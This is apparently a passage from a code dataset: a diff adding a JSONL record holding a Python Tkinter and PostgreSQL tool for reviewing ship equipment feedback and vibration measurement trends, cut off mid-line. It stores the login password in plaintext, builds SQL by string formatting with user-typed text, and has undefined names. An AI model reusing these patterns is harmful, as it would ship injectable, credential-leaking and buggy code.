diff --git "a/1727.jsonl" "b/1727.jsonl"
new file mode 100644--- /dev/null
+++ "b/1727.jsonl"
@@ -0,0 +1,864 @@
+{"seq_id":"11924612714","text":"import psycopg2\nimport datetime\nimport tkinter as tk\nimport tkinter.ttk as ttk\nfrom tkinter import *\nfrom tkinter import messagebox\nfrom tkcalendar import Calendar, DateEntry\nfrom tkinter.filedialog import askopenfilename\nfrom tkinter import Tk\nimport csv\nimport matplotlib.pyplot as plt\nimport numpy as num\nimport tkinter as tkk\nfrom tkinter import filedialog\nfrom tqdm import tqdm\nimport pandas.io.sql as sqlio\nimport pandas as pd\nimport numpy as np\n\n\npd.set_option('display.max_columns', None)\npd.set_option('display.expand_frame_repr', False)\npd.set_option('max_colwidth', -1)\n\n\ndef q_run(connD, querry):\n    username = connD[0]\n    password = connD[1]\n    host = connD[2]\n    kport = \"5432\"\n    kdb = \"postgres\"\n    cs = \"dbname=%s user=%s password=%s host=%s port=%s\" % (kdb, username, password, host, kport)\n    conn = None\n    conn = psycopg2.connect(str(cs))\n    cur = conn.cursor()\n    cur.execute(querry)\n    try:\n        result = cur.fetchall()\n        return result\n    except:\n        pass\n    conn.commit()\n    cur.close()\ndef column(matrix, i):\n    return [row[i] for row in matrix]\n\nclass LogApplication:\n    def __init__(self):\n        self.root = Tk()\n        self.root.title(\"Log In\")\n        self.title = tk.Label(self.root, text=\"Info Datasheet\")  # TITLE\n        self.title.grid(row=0, column=2)\n        self.user_entry_label = tk.Label(self.root, text=\"Username: \")  # USERNAME LABEL\n        self.user_entry_label.grid(row=1, column=1)\n        self.user_entry = tk.Entry(self.root, text=\"Username: \")  # USERNAME ENTRY BOX\n        self.user_entry.grid(row=1, column=2)\n        self.pass_entry_label = tk.Label(self.root, text=\"Password: \")  # PASSWORD LABEL\n        self.pass_entry_label.grid(row=2, column=1)\n        self.pass_entry = tk.Entry(self.root, show=\"*\")  # PASSWORD ENTRY BOX\n        self.pass_entry.grid(row=2, column=2)\n        try:\n            with open('C:\\overmind\\\\temp\\log.csv') as csvfile:\n                openfile = csv.reader(csvfile, delimiter=' ')\n                p = -1\n                for lines in openfile:\n                    p += 1\n                    if p == 0:\n                        self.user_entry.insert(0, str(lines[0]))\n                    if p == 1:\n                        self.pass_entry.insert(0, str(lines[0]))\n        except:\n            pass\n        self.var = IntVar()\n        self.checksave = tk.Checkbutton(self.root, text=\"Remember\", variable=self.var)\n        self.checksave.grid(row=3, column=2)\n        self.sign_in_butt = Button(self.root, text=\"Sign In\", command=lambda ue=self.user_entry, pe=self.pass_entry: self.logging_in(ue, pe))\n        self.sign_in_butt.grid(row=5, column=2)\n        self.root.mainloop()\n\n    def logging_in(self,user_entry, pass_entry):\n        user_get = user_entry.get()  # Retrieve Username\n        pass_get = pass_entry.get()  # Retrieve Password\n        if bool(self.var.get()) == True:\n           # config = Path('C:\\overmind\\\\temp\\log.csv')\n            with open('C:\\overmind\\\\temp\\log.csv', 'w+' ,newline='') as csvfile:\n                filewriter = csv.writer(csvfile, quoting=csv.QUOTE_ALL)\n                filewriter.writerow([user_get])\n                filewriter.writerow([pass_get])\n        connD = [user_get, pass_get, 'localhost']\n\n\n        querry = \"SELECT current_user\"\n        usercheck = ''\n\n        usercheck = q_run(connD, querry)  # PYINSTALLER ma problemy gdzies tu\n        if usercheck != '':\n            self.root.destroy()\n            feedbackswindow(connD)\n\nclass feedbackswindow:\n    def __init__(self,connD):\n        self.connD = connD\n        self. conn = psycopg2.connect(\n            \"host='{}' port={} dbname='{}' user={} password={}\".format(self.connD[2], '5432', 'postgres', self.connD[0], self.connD[1]))\n        self.getquerry()\n        self.drawwindow()\n    def getquerry(self):\n        querry = \"\"\"\n        select dev.id,main.name as shipname, dev.name as devname,fdb.raport_number, rem.remark, rem.sended,\n        fdb.feedback, fdb.fdbflag, fdb.costflag, fdb.price, fdb.low, fdb.high, dss.sort,\n         rem._id_ as remid, fdb._id_ as fdbid,rem.documentdate as remdate,fdb.documentdate as fdbdate,\n\t\t dev.kw, mm.type as typenew ,dev.type as typeold\n\t\tfrom feedbacks fdb\n        left join remarks rem on fdb.id = rem.id and fdb.raport_number = rem.raport_number\n        left join devices dev on fdb.id = dev.id\n        left join ds_structure dss on cast(dev.id as text) = dss.id\n        left join main on dev.parent = main.id\n\t\tleft join main_models mm on dev.model_fkey = mm.id\n        order by fdb.raport_number\n        \"\"\"\n        self.fdbdFrame = sqlio.read_sql_query(querry, self.conn)\n        self.fdbdFrame['fdbflag'] = pd.Series(self.fdbdFrame['fdbflag'], dtype='Int64').fillna(0)\n        self.fdbdFrame['costflag'] = pd.Series(self.fdbdFrame['costflag'], dtype='Int64').fillna(0)\n        self.presentfeedbacks = self.fdbdFrame\n\n        querry = \"select lp,flagstr from fdbflags\"\n        self.fdbflagz = list()\n        self.fdbflagz.append(('0', 'No flag'))\n        for item in (list(q_run(self.connD, querry))):\n            self.fdbflagz.append(item)\n\n        querry = \"select lp,flagstr from costflags\"\n        self.costflagz = list()\n        self.costflagz.append(['0', 'No flag'])\n        for item in (list(q_run(self.connD, querry))):\n            self.costflagz.append(item)\n    def fillfdblist(self, fdbdfr):\n        self.feedbacklist.delete(*self.feedbacklist.get_children())\n        for row in fdbdfr.values:\n            ship = row[1]\n            devname = row[2]\n            raportno = row[3]\n            liststring = \"SHIP:{} DEVICE:{} REPORT_NUMBER:{}\".format(ship,devname,raportno)\n\n            self.feedbacklist.insert('', 'end', text=row[14], values=(ship,devname,raportno))\n\n\n\n        self.feedbacklist.heading(\"#0\", text = 'FDBID',anchor=tk.W)\n        self.feedbacklist.column(\"#0\", width=50, minwidth=50, stretch=tk.NO)\n\n        self.feedbacklist.heading(\"Ship\", text = 'Ship',anchor=tk.W)\n        self.feedbacklist.column(\"Ship\", width=100, minwidth=50, stretch=tk.NO)\n\n        self.feedbacklist.heading(\"Device\", text = 'Device' ,anchor=tk.W)\n        self.feedbacklist.column(\"Device\", width=200, minwidth=50, stretch=tk.NO)\n\n        self.feedbacklist.heading(\"Report\", text = 'Repoort number',anchor=tk.W)\n        self.feedbacklist.column(\"Report\", width=100, minwidth=50, stretch=tk.NO)\n\n\n\n\n            # self.measurementsbeforetab.heading(\"rms\", text='RMS', anchor=tk.W)\n            # self.measurementsbeforetab.heading(\"pk\", text='env P-K', anchor=tk.W)\n    def updatedateinlabels(self):\n\n\n        item = self.feedbacklist.selection()[0]\n        _id_ = self.presentfeedbacks[self.presentfeedbacks['fdbid'] == self.feedbacklist.item(item, \"text\")]['fdbid']\n        rdate = self.fdbdFrame.loc[self.fdbdFrame.fdbid == int(_id_)]['remdate']\n        fdate = self.fdbdFrame.loc[self.fdbdFrame.fdbid == int(_id_)]['fdbdate']\n        self.remlabel.config(text='Remark {}'.format(np.array(rdate.values, dtype='datetime64[D]')[0]))\n        self.fdblabel.config(text='Feedback {}'.format(np.array(fdate.values, dtype='datetime64[D]')[0]))\n    def updatecolor(self):\n\n        self.measurementsbeforetab.tag_configure('green', background='green')\n        self.measurementsbeforetab.tag_configure('yellow', background='yellow')\n        self.measurementsbeforetab.tag_configure('red', background='red')\n        self.measurementsbeforetab.tag_configure('grey', background='grey')\n        self.measurementsbeforetab.tag_configure('white', background='white')\n\n        self.measurementsaftertab.tag_configure('green', background='green')\n        self.measurementsaftertab.tag_configure('yellow', background='yellow')\n        self.measurementsaftertab.tag_configure('red', background='red')\n        self.measurementsaftertab.tag_configure('grey', background='grey')\n        self.measurementsaftertab.tag_configure('white', background='white')\n    def updatefdbmeas(self):\n        if (int(self.var.get())) == 1:\n            self.generatetrendvalues()\n        else :\n            self.measurementsbeforetab.delete(*self.measurementsbeforetab.get_children())\n            self.measurementsaftertab.delete(*self.measurementsaftertab.get_children())\n    def generatetrendvalues(self):\n        def getmeasquerry():\n            item = self.feedbacklist.selection()[0]\n            rn = (self.presentfeedbacks[self.presentfeedbacks['fdbid'] == self.feedbacklist.item(item, \"text\")][\n                'raport_number'])\n            rn = rn.values[0]\n\n            did = (self.presentfeedbacks[self.presentfeedbacks['fdbid'] == self.feedbacklist.item(item, \"text\")][\n                'id'])\n            did = did.values[0]\n\n            #index = self.feedbacklist.curselection()[0]\n            # rn = self.presentfeedbacks.iloc[index].loc['raport_number']\n            # did = self.presentfeedbacks.iloc[index].loc['id']\n            querry = \"\"\"select mlrms.point, mlrms.raport_number as reportbefore ,round( cast(mlrms.value as numeric),3) as rmsbefore,round( cast(mlpk.value as numeric),3) as pkbefore,\n             max(mlrms.date) as datebefore,\n            mlrms2.raport_number as reportafter ,round( cast(mlrms2.value as numeric),3) as rmsafter ,round( cast(mlpk2.value as numeric),3) as pkafter, max(mlrms2.date) as dateafter\n            from (select * from measurements_low where type = 'RMS') mlrms \n            left join (select * from measurements_low where type = 'envelope P-K') mlpk on mlrms.id = mlpk.id \n                                    and mlrms.raport_number = mlpk.raport_number and mlrms.point = mlpk.point\n            left join points pts on mlrms.id =pts.id and mlrms.point = pts.point\n            left join (select * from measurements_low where type = 'RMS' and raport_number = (select raport_number \n                                                                                            from measurements_low  \n                                                                                            where parent = (select parent \n                                                                                                            from measurements_low \n                                                                                                            where raport_number = '{}'\n                                                                                                            group by parent limit 1) \n                                                                                            and date > (select max (date) \n                                                                                                            from measurements_low \n                                                                                                            where raport_number = '{}')\n                                                                                            and id = {}\n                                                                                            group by raport_number\n                                                                                            order by raport_number limit 1) ) mlrms2 on mlrms.point = mlrms2.point  and mlrms.id = mlrms2.id \n            left join (select * from measurements_low where type = 'envelope P-K' and raport_number = (select raport_number \n                                                                                            from measurements_low  \n                                                                                            where parent = (select parent \n                                                                                                            from measurements_low \n                                                                                                            where raport_number = '{}'\n                                                                                                            group by parent limit 1) \n                                                                                            and date > (select max (date) \n                                                                                                            from measurements_low \n                                                                                                            where raport_number = '{}')\n                                                                                            and id = {}\n                                                                                            group by raport_number\n                                                                                            order by raport_number limit 1) ) mlpk2 on mlrms.point = mlpk2.point  and mlrms.id = mlpk2.id  \n            where mlrms.id = {} and mlrms.raport_number = '{}'\n            group by mlrms.point, reportbefore , rmsbefore, pkbefore,pts.sort,reportafter,rmsafter,pkafter\n            order by pts.sort\"\"\".format(rn,rn,did,rn,rn,did,did,rn)\n\n            self.measresults = sqlio.read_sql_query(querry, self.conn)\n            self.measresults['blrms'] = None\n            self.measresults['alrms'] = None\n            self.measresults['rmstrend'] = None\n            self.measresults['pktrend'] = None\n\n            querry = \"\"\"select limit_1_name, limit_1_value,\n                                limit_2_name,limit_2_value,\n                                limit_3_name,limit_3_value,\n                                limit_4_name,limit_4_value\n                        from\n                            standards \n                        where id = (select standard_fkey \n                                    from devices \n                                    where id = {})\"\"\".format(did)\n            self.standardlimits = sqlio.read_sql_query(querry, self.conn)\n\n            cc = -1\n            try:\n                for item in self.measresults.values:\n                    cc += 1\n                    if self.measresults['rmsbefore'].iloc[cc] > self.standardlimits['limit_1_value'].iloc[0]:\n                        self.measresults.at[cc,'blrms'] = self.standardlimits['limit_1_name'].values[0]\n                    if self.measresults['rmsbefore'].iloc[cc] > self.standardlimits['limit_2_value'].iloc[0]:\n                        self.measresults.at[cc,'blrms'] = self.standardlimits['limit_2_name'].values[0]\n                    if self.measresults['rmsbefore'].iloc[cc] > self.standardlimits['limit_3_value'].iloc[0]:\n                        self.measresults.at[cc, 'blrms'] = self.standardlimits['limit_3_name'].values[0]\n                    if self.measresults['rmsbefore'].iloc[cc] > self.standardlimits['limit_4_value'].iloc[0]:\n                        self.measresults.at[cc,'blrms']= self.standardlimits['limit_4_name'].values[0]\n\n                    if self.measresults['rmsafter'].iloc[cc] > self.standardlimits['limit_1_value'].iloc[0]:\n                        self.measresults.at[cc,'alrms'] = self.standardlimits['limit_1_name'].values[0]\n                    if self.measresults['rmsafter'].iloc[cc] > self.standardlimits['limit_2_value'].iloc[0]:\n                        self.measresults.at[cc,'alrms'] = self.standardlimits['limit_2_name'].values[0]\n                    if self.measresults['rmsafter'].iloc[cc] > self.standardlimits['limit_3_value'].iloc[0]:\n                        self.measresults.at[cc, 'alrms'] = self.standardlimits['limit_3_name'].values[0]\n                    if self.measresults['rmsafter'].iloc[cc] > self.standardlimits['limit_4_value'].iloc[0]:\n                        self.measresults.at[cc,'alrms']= self.standardlimits['limit_4_name'].values[0]\n\n                    if self.measresults['rmsafter'].iloc[cc] > self.measresults['rmsbefore'].iloc[cc]:\n                        self.measresults.at[cc, 'rmstrend'] = 'UP'\n                    else:\n                        self.measresults.at[cc, 'rmstrend'] = 'DOWN'\n\n                    if self.measresults['pkafter'].iloc[cc] > self.measresults['pkbefore'].iloc[cc]:\n                        self.measresults.at[cc, 'pktrend'] = 'UP'\n                    else:\n                        self.measresults.at[cc, 'pktrend'] = 'DOWN'\n            except:\n                print('Limit count error')\n\n            # print('maxbefore')\n            # self.measresults['maxrmsbefore'] = self.measresults['rmsbefore'].max()\n            # self.measresults['maxrmsafter'] = self.measresults['rmsafter'].max()\n            if self.measresults['rmsbefore'].max() < self.measresults['rmsafter'].max():\n                self.measresults['maxrmstrend'] = 'UP'\n            else:\n                self.measresults['maxrmstrend'] = 'DOWN'\n            if self.measresults['pkbefore'].max() < self.measresults['pkafter'].max():\n                self.measresults['maxenvtrend'] = 'UP'\n            else:\n                self.measresults['maxenvtrend'] = 'DOWN'\n\n\n        getmeasquerry()\n\n        self.measurementsbeforetab.delete(*self.measurementsbeforetab.get_children())\n        self.measurementsaftertab.delete(*self.measurementsaftertab.get_children())\n\n\n        self.beforereportlabel.config(text='None')\n        self.beforedatelabel.config(text='None')\n        self.afterreportlabel.config(text='None')\n        self.afterdatelabel.config(text='None')\n\n\n        self.beforereportlabel.config(text=self.measresults['reportbefore'][0])\n        self.beforedatelabel.config(text=self.measresults['datebefore'][0])\n        self.afterreportlabel.config(text=self.measresults['reportafter'][0])\n        self.afterdatelabel.config(text=self.measresults['dateafter'][0])\n\n\n\n        for item in self.measresults.values:\n            if self.chosecolortype.current() == 0:\n                self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),tags =('white'))\n                self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]),tags =('white'))\n            elif self.chosecolortype.current() == 1:\n                if str(item[11]) == 'UP':\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),tags =('red'))\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]), tags=('red'))\n                else:\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]), tags=('green'))\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]), tags=('green'))\n\n            elif self.chosecolortype.current() == 2:\n                if str(item[12]) == 'UP':\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),tags =('red'))\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]), tags=('red'))\n                else:\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]), tags=('green'))\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]), tags=('green'))\n\n            elif self.chosecolortype.current() == 3:\n                if str(item[9]) == 'Cl. A' or \\\n                    str(item[9]) == 'Cl. B':\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),tags =('green'))\n                elif str(item[9]) == 'Cl. C':\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),\n                                                      tags=('yellow'))\n                elif str(item[9]) == 'Cl. D':\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),\n                                                      tags=('red'))\n                else:\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),\n                                                      tags=('grey'))\n\n                if str(item[10]) == 'Cl. A' or \\\n                    str(item[10]) == 'Cl. B':\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]),tags =('green'))\n                elif str(item[10]) == 'Cl. C':\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]),\n                                                      tags=('yellow'))\n                elif str(item[10]) == 'Cl. D':\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]),\n                                                      tags=('red'))\n                else:\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]),\n                                                      tags=('grey'))\n\n            elif self.chosecolortype.current() == 4:\n                if str(item[13]) == 'UP':\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),tags =('red'))\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]), tags=('red'))\n                else:\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]), tags=('green'))\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]), tags=('green'))\n\n            elif self.chosecolortype.current() == 5:\n                if str(item[14]) == 'UP':\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]),tags =('red'))\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]), tags=('red'))\n                else:\n                    self.measurementsbeforetab.insert('', 'end', text=item[0], values=(item[2], item[3]), tags=('green'))\n                    self.measurementsaftertab.insert('', 'end', text=item[0], values=(item[6], item[7]), tags=('green'))\n\n        self.updatecolor()\n    def drawwindow(self):\n        def changefeedbackwindow(evt):\n\n            item = self.feedbacklist.selection()[0]\n\n            self.updatefeedbackwindows(self.presentfeedbacks[self.presentfeedbacks['fdbid'] == self.feedbacklist.item(item, \"text\")])\n            self.updatedateinlabels()\n            self.updatefdbmeas()\n\n        self.root = tk.Tk()\n        self.root.title('Feedbacker')\n\n        self.listframe = tk.Frame(self.root)\n        self.fdbframe = tk.Frame(self.root)\n\n        self.listfilterframe = tk.Frame(self.listframe)\n\n\n        self.feedbacklist = ttk.Treeview(self.listframe)\n        self.feedbacklist[\"columns\"] = (\"Ship\", \"Device\", \"Report\")\n        self.feedbacklist.bind('<<TreeviewSelect>>', changefeedbackwindow)\n\n\n        self.makefilterwindow(self.listfilterframe)\n        self.fillfdblist(self.presentfeedbacks)\n\n        self.makefeedbackwindow(self.fdbframe)\n\n        self.listframe.pack(side=LEFT, fill=Y)\n        self.fdbframe.pack(side=LEFT, fill=Y)\n\n        self.listfilterframe.pack(side=TOP)\n        self.feedbacklist.pack(side=TOP, fill=Y, expand=1)\n\n        self.root.mainloop()\n    def filterdframe(self,filtertype, filterdet):\n        if str(filtertype) == 'None':\n            self.presentfeedbacks = self.fdbdFrame\n        elif str(filtertype) == 'Ship':\n            self.presentfeedbacks = self.fdbdFrame.loc[self.fdbdFrame.shipname == str(filterdet)]\n        elif str(filtertype) == 'Report':\n            self.presentfeedbacks = self.fdbdFrame.loc[self.fdbdFrame.raport_number == str(filterdet)]\n        elif str(filtertype) == 'Fdb flag':\n            filterby = str(filterdet)[filterdet.index('(') + 1:filterdet.index(')')]\n            if int(filterby) == 0:\n                self.presentfeedbacks = self.fdbdFrame.loc[ \\\n                    (self.fdbdFrame.fdbflag == int(filterby)) | \\\n                    (pd.isnull(self.fdbdFrame.fdbflag))]\n            else:\n                self.presentfeedbacks = self.fdbdFrame.loc[self.fdbdFrame.fdbflag == int(filterby)]\n\n        elif str(filtertype) == 'Cost flag':\n            filterby = str(filterdet)[filterdet.index('(') + 1:filterdet.index(')')]\n            if int(filterby) == 0:\n                self.presentfeedbacks = self.fdbdFrame.loc[ \\\n                    (self.fdbdFrame.costflag == int(filterby)) | \\\n                    (pd.isnull(self.fdbdFrame.costflag))]\n            else:\n                self.presentfeedbacks = self.fdbdFrame.loc[self.fdbdFrame.costflag == int(filterby)]\n        elif str(filtertype) == 'Cost calc. missing':\n            self.presentfeedbacks = self.fdbdFrame.loc[\n                self.fdbdFrame['price'].astype(str).str.contains(filterdet) == True]\n\n        self.sortby(self.sortlist.get())\n\n        self.fillfdblist(self.presentfeedbacks)\n    def sortby(self,filterby):\n        if filterby == 'Ship':\n            filterby = 'shipname'\n        elif filterby == 'Device':\n            filterby = 'devname'\n        elif filterby == 'Structure':\n            filterby = 'sort'\n        elif filterby == 'Report':\n            filterby = 'raport_number'\n        elif filterby == 'Fdb flag':\n            filterby = 'fdbflag'\n        elif filterby == 'Cost flag':\n            filterby = 'costflag'\n        else:\n            filterby = None\n\n        if str(filterby) == 'raport_number':\n            print(filterby)\n            self.presentfeedbacks = self.presentfeedbacks.sort_values(by=[filterby, 'sort'])\n        elif filterby != None:\n            self.presentfeedbacks = self.presentfeedbacks.sort_values(by=[filterby])\n\n        self.fillfdblist(self.presentfeedbacks)\n    def makefilterwindow(self, frame):\n        def boxtypechange(evt):\n            getdetvalues(self.filterlisboxtype.get())\n        def getdetvalues(filtertype):\n            # print(str(filtertype))\n            detlist = list()\n            if str(filtertype) == 'None':\n                detlist = ['All']\n            elif str(filtertype) == 'Ship':\n                querry = \"select name from main where id in (select parent from feedbacks group by parent) order by name\"\n                detlist = column(list(q_run(self.connD, querry)), 0)\n            elif str(filtertype) == 'Report':\n                querry = \"select raport_number from feedbacks group by raport_number order by raport_number desc\"\n                detlist = (column(list(q_run(self.connD, querry)), 0))\n            elif str(filtertype) == 'Fdb flag':\n                querry = \"select flagstr,lp from fdbflags order by lp\"\n                detlist.append(\"(0)None\")\n                for item in list(q_run(self.connD, querry)):\n                    detlist.append('({}){}'.format(item[1], item[0]))\n            elif str(filtertype) == 'Cost flag':\n                querry = \"select flagstr,lp from costflags order by lp\"\n                detlist.append(\"(0)None\")\n                for item in list(q_run(self.connD, querry)):\n                    detlist.append('({}){}'.format(item[1], item[0]))\n            elif str(filtertype) == 'Cost calc. missing':\n                detlist = ['no kW', 'no TYPE', 'NO COST CASE']\n            self.filterlisboxdet.config(values=detlist)\n            self.filterlisboxdet.current(0)\n        def boxdetailchange(evt):\n            self.filterdframe(self.filterlisboxtype.get(), self.filterlisboxdet.get())\n        def sortchange(evt):\n            self.sortby(self.sortlist.get())\n\n\n        self.refreshbutton = tk.Button(frame, text = \"Reload\", command = self.getquerry)\n\n        self.label1 = tk.Label(frame, text='Filter by: ')\n        self.filterlisboxtype = ttk.Combobox(frame, text=\"\",\n                                             values=[\"None\", \"Ship\", \"Report\", \"Fdb flag\", \"Cost flag\", \"Cost calc. missing\"],\n                                             state=\"readonly\")\n        self.filterlisboxtype.bind('<<ComboboxSelected>>', boxtypechange)\n\n\n\n        self.filterlisboxdet = ttk.Combobox(frame, text=\"\", state=\"readonly\")\n        self.filterlisboxdet.bind('<<ComboboxSelected>>', boxdetailchange)\n\n\n\n\n        self.label2 = tk.Label(frame, text='Sort by: ')\n        self.sortlist = ttk.Combobox(frame, width=10,\n                                     values=['Ship', 'Device', 'Structure', 'Report', 'Fdb flag', 'Cost flag'],\n                                     state=\"readonly\")\n        self.sortlist.bind('<<ComboboxSelected>>', sortchange)\n\n        self.refreshbutton.grid(row=0, column=0, rowspan = 2)\n        self.label1.grid(row=0, column=1)\n        self.filterlisboxtype.grid(row=0, column=2)\n        self.filterlisboxdet.grid(row=0, column=3)\n        self.label2.grid(row=1, column=1)\n        self.sortlist.grid(row=1, column=2)\n    def updatefeedbackwindows(self, fdbstrip):\n        fdbstrip = fdbstrip.values.tolist()[0]\n        def updateheadlabel(fdbstrip):\n            headtext = \"\"\"\n    Ship: {}\n    Device: {}\n    kW: {},type: {}(old: {})\n    Report: {}\n            \"\"\".format(fdbstrip[1], fdbstrip[2], fdbstrip[17], fdbstrip[18], fdbstrip[19], fdbstrip[3])\n            self.labelhead.config(text=headtext)\n\n            self.remarktext.configure(state='normal')\n            self.fdbtext.configure(state='normal')\n\n            self.remarktext.delete('1.0', END)\n            try:\n                self.remarktext.insert(END, fdbstrip[4])\n            except:\n                self.remarktext.insert(END, '#ERROR: MISSING REMARK IN DB')\n            self.fdbtext.delete('1.0', END)\n            self.fdbtext.insert(END, fdbstrip[6])\n            self.fdbflagstring.current(int(fdbstrip[7]))\n            self.costflagstring.current(int(fdbstrip[8]))\n\n            self.remarktext.configure(state='disabled')\n            self.fdbtext.configure(state='disabled')\n\n            self.pricetext.delete('1.0', END)\n            self.priceval.delete('1.0', END)\n            if str(fdbstrip[9]) != 'None':\n                self.pricetext.insert(END, fdbstrip[9][0])\n                self.priceval.insert(END, fdbstrip[9][1])\n\n            self.lowtext.delete('1.0', END)\n            self.lowval.delete('1.0', END)\n            if str(fdbstrip[10]) != 'None':\n                self.lowtext.insert(END, fdbstrip[10][0])\n                self.lowval.insert(END, fdbstrip[10][1])\n\n            self.hightext.delete('1.0', END)\n            self.highval.delete('1.0', END)\n            if str(fdbstrip[11]) != 'None':\n                self.hightext.insert(END, fdbstrip[11][0])\n                self.highval.insert(END, fdbstrip[11][1])\n\n        updateheadlabel(fdbstrip)\n    def makefeedbackwindow(self, frame):\n        def setflags():\n            def loadcost():#devid):\n                item = self.feedbacklist.selection()[0]\n                devid = (self.presentfeedbacks[self.presentfeedbacks['fdbid'] == self.feedbacklist.item(item, \"text\")][\n                    'id'])\n                devid = devid.values[0]\n                querry = 'select kw,type from devices where id = {}'.format(devid)\n                #TODO: trzeba bedzie w koncu przejsc na typ z main_models\n                devkw, devtype = list(q_run(self.connD, querry))[0]\n                querry = \"select costflag,typ, kwrange[1],kwrange[2], price[1],price[2], low[1],low[2] , high[1],high[2]from costcases\"\n                costcases = list(q_run(self.connD, querry))\n                for case in costcases: #iteracja po costcase\n                    devcostflag = list(self.presentfeedbacks.loc[self.presentfeedbacks.fdbid == _id_,'costflag'])\n                    if costflag== 0:\n                        pricestr = ''\n                        priceval = ''\n                        lowstr = ''\n                        lowval = ''\n                        highstr = ''\n                        highval = ''\n                        querry = \"update feedbacks set price = null, low = null, high = null where _id_ = {}\".format(str(_id_))\n                        break\n                    elif len(devtype) == 0:\n                        pricestr = 'no TYPE'\n                        priceval = '?'\n                        lowstr = 'no TYPE'\n                        lowval = '?'\n                        highstr = 'no TYPE'\n                        highval = '?'\n                        querry = \"\"\"UPDATE feedbacks set\n                            price = ARRAY['{}','{}'],\n                            low  = ARRAY['{}','{}'],\n                            high = ARRAY['{}','{}']\n                            where _id_ = {}\"\"\".format(pricestr,priceval,lowstr,lowval,highstr,highval,_id_)\n\n\n\n\n                    elif self.costflagstring.current() in column(costcases,0): #jest flaga w bazie\n                        if  str(self.costflagstring.current()) == str(case[0]): #flaga sie zgadza\n                            if str(devtype).strip() == str(case[1]).strip(): # tutaj typ\n                                kw = (re.findall(r'\\d+\\.*\\d*', str(devkw))[0])\n                                if (float(kw) >= float(case[2]) and float(kw) <= float(case[3])) or (case[2] == 0 and case[3] == 0):\n                                    pricestr = case[4]\n                                    priceval = case[5]\n                                    lowstr = case[6]\n                                    lowval = case[7]\n                                    highstr = case[8]\n                                    highval = case[9]\n                                    querry = \"\"\"UPDATE feedbacks set\n                                price = ARRAY['{}','{}'],\n                                low  = ARRAY['{}','{}'],\n                                high = ARRAY['{}','{}']\n                                where _id_ = {}\"\"\".format(pricestr, priceval, lowstr, lowval, highstr,\n                                                                         highval, _id_)\n                                    break\n                            else:\n                                pricestr = 'NO COST CASE'\n                                priceval = '?'\n                                lowstr = 'NO COST CASE'\n                                lowval = '?'\n                                highstr = 'NO COST CASE'\n                                highval = '?'\n                                querry = \"\"\"UPDATE feedbacks set\n                            price = ARRAY['{}','{}'],\n                            low  = ARRAY['{}','{}'],\n                            high = ARRAY['{}','{}']\n                            where _id_ = {}\"\"\".format(pricestr, priceval, lowstr, lowval, highstr,\n                                                                 highval,_id_)\n\n\n                q_run(self.connD, querry)\n                self.getquerry()\n                child_id = self.feedbacklist.selection()[-1]\n                item = self.feedbacklist.selection()[0]\n                self.updatefeedbackwindows(self.presentfeedbacks[self.presentfeedbacks['fdbid'] == self.feedbacklist.item(item, \"text\")])\n\n\n            item = self.feedbacklist.selection()[0]\n            _id_ = (self.presentfeedbacks[self.presentfeedbacks['fdbid'] == self.feedbacklist.item(item, \"text\")][\n                'fdbid'])\n            _id_ = _id_.values[0]\n\n\n            fdbflag = self.fdbflagstring.current()\n            costflag = self.costflagstring.current()\n\n            if fdbflag == 0: fdbflag = 'Null'\n            if costflag == 0: costflag = 'Null'\n            querry = \"\"\"UPDATE feedbacks set fdbflag = {},costflag = {}\n                where _id_ = {}\"\"\".format(fdbflag, costflag, _id_)\n            q_run(self.connD, querry)\n            if str(fdbflag) == 'Null': fdbflag = 0\n            if str(costflag) == 'Null': costflag = 0\n\n            loadcost()\n\n        def updatecosts():\n            item = self.feedbacklist.selection()[-1]\n            _id_ = (self.presentfeedbacks[self.presentfeedbacks['fdbid'] == self.feedbacklist.item(item, \"text\")][\n                'fdbid'])\n            _id_ = _id_.values[0]\n\n            price0 = self.pricetext.get(\"1.0\",END).strip()\n            price1 = self.priceval.get(\"1.0\",END).strip()\n            low0 = self.lowtext.get(\"1.0\",END).strip()\n            low1 = self.lowval.get(\"1.0\",END).strip()\n            high0 =self.hightext.get(\"1.0\",END).strip()\n            high1 = self.highval.get(\"1.0\",END).strip()\n\n\n            querry = \"\"\"UPDATE feedbacks set\n                            price = ARRAY['{}','{}'],\n                            low  = ARRAY['{}','{}'],\n                            high = ARRAY['{}','{}']\n                            where _id_ = {}\"\"\".format(\n                                                price0, price1,\n                                                low0, low1,\n                                                high0, high1,\n                                                _id_)\n\n            q_run(self.connD, querry)\n            self.getquerry()\n\n        def fillmeasframe():\n            def updatecolorevt(evt):\n                self.generatetrendvalues()\n            self.var = tk.IntVar(value=0)\n            self.checkbut1 = ttk.Checkbutton(self.measframe, text='Show measurements',\n                                             variable=self.var, command = self.updatefdbmeas)\n\n\n            self.colorvar = tk.IntVar(value=0)\n\n\n            self.chosecolortype = ttk.Combobox(self.measframe, text=\"\",\n                                                 values=[\"None\", \"RMS 